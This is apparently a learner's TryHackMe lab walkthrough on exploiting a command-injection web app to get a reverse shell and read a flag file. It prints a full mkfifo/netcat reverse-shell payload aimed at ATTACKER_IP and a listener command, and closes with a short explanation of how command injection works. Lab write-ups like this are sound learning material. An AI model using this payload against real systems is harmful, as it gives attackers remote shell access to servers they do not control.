THM — SHELL OVERVIEW — Practical Task

Now that we have learned about the different types of reverse shells, let's test our knowledge with a practical exercise, and let's get the flag in the format THM{} from the vulnerable web server. Click on the Start Lab Machine button to start the challenge. After that, it will be accessible on the following URLs:

· 10.66.170.87:8080 hosts the landing page

· 10.66.170.87:8081 hosts the web application that is vulnerable to command injection.

· 10.66.170.87:8082 hosts the web application that is vulnerable to an unrestricted file upload.

You can access the above using the AttackBox, which will display on a split screen, or you can use your own access through the VPN.

Q. 1. Using a reverse or bind shell, exploit the command injection vulnerability to get a shell. What is the content of the flag saved in the / directory?

First, I open the browser in lab machine and go to "http://10.66.170.87:8080/"

For the first question I choose Reverse/Bind Shell Task Which open this interface

I simply decide to choose this payload, "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f"

But before that I have to open a terminal and execute a Netcat for Shell Listeners, with cmd "nc -lnvp 4545" à which means listen at port 4545

Then I insert the payload in input field with my attack machine IP and port 4545

As soon as I enter, I get the shell in terminal

Now the question ask, "the content of the flag saved in the / directory"

I need to check the file in / directory.

Now with cmd cat /flag.txt I get the flag.

Finally found the flag.

Task Findings

The important concept is:

Normal application input

↓

Application processes input

↓

Operating-system command

↓

Unexpected command execution

NOTE: if an application improperly passes user input to the OS, an attacker may be able to make the server execute unintended commands

Understanding Reverse Shells

Victim — — initiates connection — ->Attacker — — receives connection — —> Interactive Shell